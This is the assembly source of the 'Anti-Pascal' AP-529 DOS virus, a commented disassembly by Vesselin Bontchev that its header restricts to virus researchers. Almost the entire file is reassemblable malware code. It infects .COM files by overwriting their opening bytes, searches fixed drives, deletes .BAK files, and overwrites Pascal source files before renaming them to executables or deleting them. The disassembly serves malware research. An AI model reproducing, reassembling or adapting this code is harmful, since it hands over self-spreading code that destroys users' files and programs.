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341 lines
8.3 KiB
NASM
341 lines
8.3 KiB
NASM
page ,132
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name AP529
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title AP529 - The 'Anti-Pascal' Virus, version AP-529
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.radix 16
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
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; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
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; º º
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; º The 'Anti-Pascal' Virus, version AP-529 º
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; º Disassembled by Vesselin Bontchev, June 1990 º
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; º º
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; º Copyright (c) Vesselin Bontchev 1989, 1990 º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The disassembly has been tested by re-assembly using MASM 5.0.
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code segment
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assume cs:code,ds:code
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org 100
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vlen = v_end-start
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crit equ 12 ; Address of the original INT 24h handler
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start:
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push ax ; Save registers used
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push cx
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push si
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push di
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push bx
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push flen ; Save current file length
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; The operand of the instruction above is used as a signature by the virus
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sign equ $-2
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jmp short v_start ; Go to virus start
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flen dw vlen ; File length before infection
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f_name db 13d dup (?) ; File name buffer for the rename function call
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fmask db '*.' ; Mask for FindFirst/FindNext
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fext db 'com', 0 ; The extension part of the file mask
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parent db '..', 0 ; Path for changing to the parent dir
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com db 'com' ; File extensions used
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bak db 'bak'
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pas db 'pas'
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wild db '???'
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exe db 'exe'
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dta equ $ ; Disk Transfer Address area
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drive db ? ;Drive to search for
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pattern db 11d dup (?) ;Search pattern
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reserve db 9 dup (?) ;Not used
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attrib db ? ;File attribute
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time dw ? ;File time
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date dw ? ;File date
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fsize dd ? ;File size
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namez db 14d dup (?) ;File name found
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mem_seg dw ? ; Segment of the allocated I/O buffer
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sizehld dw ? ; Size holder
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v_start:
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mov bx,1000 ; Shrink program memory size to 64 K
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mov ah,4A
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int 21 ; Do it
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mov ah,48 ; Allocate I/O buffer in memory
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mov bx,vlen/16d+1 ; (at least vlen long)
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int 21 ; Do it
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jc cleanup ; Exit on error
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mov mem_seg,ax ; Save the segment of the allocated memory
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mov ax,2524 ; Set critical error handler
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mov dx,offset int_24
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int 21 ; Do it
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mov ah,1A ; Set new DTA area
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mov dx,offset dta
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int 21 ; Do it
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mov ah,19 ; Get default drive
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int 21
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push ax ; Save it on stack
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call infect ; Proceed with infection
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int 11 ; Put equipment bits in ax
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test ax,1 ; Diskette drives present?
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jz cleanup ; Exit if not (?!)
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shl ax,1 ; Get number of floppy disk drives
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shl ax,1 ; in AH (0-3 means 1-4 drives)
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and ah,3
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add ah,2 ; Convert the number of drives to
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mov al,ah ; the range 2-5 and put it into BL
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mov bx,ax
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xor bh,bh
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cmp bl,3 ; More than 2 floppy drives?
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ja many ; Check if the highest one is removable if so
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mov bl,3 ; Otherwise check disk C:
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many:
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mov ax,4408 ; Check whether device is removable
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int 21
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jc cleanup ; Exit on error (network)
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or ax,ax ; Is device removable?
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jz cleanup ; Exit if so
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mov dl,bl ; Otherwise select it as default
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dec dl
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mov ah,0E
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int 21 ; Do it
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call infect ; Proceed with this drive also
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cleanup:
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pop dx ; Restore saved default disk from stack
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mov ah,0E ; Set default drive
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int 21 ; Do it
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pop flen ; Restore flen
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mov es,mem_seg ; Free allocated memory
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mov ah,49
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int 21 ; Do it
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mov ah,4A ; Get all the available memory
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push ds ; ES := DS
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pop es
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mov bx,-1
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int 21 ; Do it
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mov ah,4A ; Assign it to the program (the initial state)
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int 21 ; Do it
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mov dx,80 ; Restore old DTA
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mov ah,1A
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int 21 ; Do it
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mov ax,2524 ; Restore old critical error handler
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push ds ; Save DS
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lds dx,dword ptr ds:[crit]
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int 21 ; Do it
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pop ds ; Restore DS
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pop bx ; Restore BX
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mov ax,4F ; Copy the program at exit_pgm into
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mov es,ax ; the Intra-Aplication Communication
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xor di,di ; Area (0000:04F0h)
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mov si,offset exit_pgm
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mov cx,pgm_end-exit_pgm ; exit_pgm length
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cld
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rep movsb ; Do it
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mov ax,ds ; Correct the Far JMP instruction with
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stosw ; the current DS value
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mov di,offset start ; Prepare for moving vlen bytes
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mov si,flen ; from file end to start
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add si,di
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mov cx,vlen
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push ds ; ES := DS
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pop es
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; jmp far ptr 004F:0000 ; Go to exit_pgm
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db 0EA, 0, 0, 4F, 0
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exit_pgm:
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rep movsb ; Restore the original bytes of the file
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pop di ; Restore registers used
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pop si
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pop cx
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pop ax
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db 0EA, 0, 1 ; JMP Far at XXXX:0100
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pgm_end equ $
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lseek:
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mov ah,42
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xor cx,cx ; Offset := 0
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xor dx,dx
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int 21 ; Do it
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ret ; And exit
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f_first: ; Find first file with extension pointed by SI
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mov di,offset fext ; Point DI at extension part of fmask
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cld ; Clear direction flag
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movsw ; Copy the extension pointed by SI
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movsb ; to file mask for FindFirst/FindNext
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mov ah,4E ; Find first file matching fmask
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mov cx,20 ; Normal files only
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mov dx,offset fmask
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ret ; Exit
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wr_body:
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mov ax,3D02 ; Open file for reading and writing
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mov dx,offset namez ; FIle name is in namez
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int 21 ; Do it
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mov bx,ax ; Save handle in BX
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mov ah,3F ; Read the first vlen bytes of the file
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mov cx,vlen ; in the allocated memory buffer
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push ds ; Save DS
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mov ds,mem_seg
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xor dx,dx
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int 21 ; Do it
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mov ax,ds:[sign-start] ; Get virus signature
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pop ds ; Restore DS
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cmp ax,word ptr ds:[offset sign] ; File already infected?
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je is_inf ; Exit if so
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push ax ; Save AX
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mov al,0 ; Lseek to the file beginning
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call lseek ; Do it
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mov ah,40 ; Write virus body over the
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mov dx,offset start ; first bytes of the file
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mov cx,sizehld ; Number of bytes to write
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int 21 ; Do it
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pop ax ; Restore AX
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clc ; CF == 0 means infection successfully done
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ret ; Exit
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is_inf:
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stc ; CF == 1 means file already infected
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ret ; Exit
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rename:
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push si ; Save SI
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mov si,offset namez ; Point SI at file name
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mov dx,si ; Point DX there too
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mov di,offset f_name ; Point DI at the name buffer
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cpy_name:
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lodsb ; Get byte from the file name
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stosb ; Store it in the name buffer
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cmp al,'.' ; Is all the name (up to the extension) copied?
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jne cpy_name ; Loop if not
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pop si ; Restore SI
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movsw ; Copy the new extension
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movsb ; into the file name buffer
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xor al,al ; Make the file name ASCIIZ
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stosb ; by placing a zero after it
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mov ah,56 ; Now rename the file to the new extension
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mov di,offset f_name
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int 21 ; Do it
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ret ; Done. Exit
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infect:
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mov si,offset com ; Find the first .COM file in this dir
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call f_first
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f_next2:
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int 21 ; Do it
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jc pass_2 ; Do damage if no such files
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mov ax,word ptr fsize ; Check the size of the file found
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cmp ax,vlen ; Less than virus length?
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jb next ; Too small, don't touch
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cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen?
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ja next ; Too big, don't touch
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mov flen,ax ; Save file length
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mov sizehld,vlen
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call wr_body ; Write virus body over the file
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jc next ; Exit on error
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mov al,2 ; Lseek to file end
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call lseek ; Do it
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push ds ; Save DS
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mov ds,mem_seg ; Write the original bytes from
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mov cx,vlen ; the file beginning after its end
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xor dx,dx
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mov ah,40
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int 21 ; Do it
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pop ds ; Restore DS
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close:
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mov ah,3E ; Close the file handle
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int 21 ; Do it
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ret ; And exit
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next:
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call close ; Close the file
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mov ah,4F ; And go find another one
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jmp f_next2
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pass_2:
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mov si,offset bak ; Find a *.BAK file
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call f_first ; Do it
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int 21
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jc pas_srch ; On error search for *.PAS files
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mov dx,offset namez ; Otherwise delete the file
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mov ah,41 ; Do it
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int 21
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pas_srch:
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mov si,offset pas ; Find a *.PAS file
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call f_first ; Do it
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int 21
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jc inf_xit ; Exit on error
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mov ax,word ptr fsize
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mov sizehld,ax ; Save file size
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call wr_body ; Overwrite the file with the virus body
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call close ; Close it
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mov si,offset com ; Try to rename it as a .COM file
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call rename ; Do it
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jnc inf_xit ; Exit if renaming OK
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mov si,offset exe ; Otherwise try to rename it as an .EXE file
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call rename ; Do it
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jnc inf_xit ; Exit if renaming OK
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mov ah,41 ; Otherwise just delete that stupid file
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int 21 ; Do it
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inf_xit:
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ret ; And exit
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int_24: ; Critical error handler
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mov al,2 ; Abort suggested (?!)
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iret ; Return
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v_end = $
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; Here goes the rest of the original program (if any):
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; And here (after the end of file) are the overwritten first 529 bytes:
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jmp quit ; The original "program"
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db (529d - 8) dup (90)
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quit:
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mov ax,4C00 ; Just exit
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int 21
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code ends
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end start
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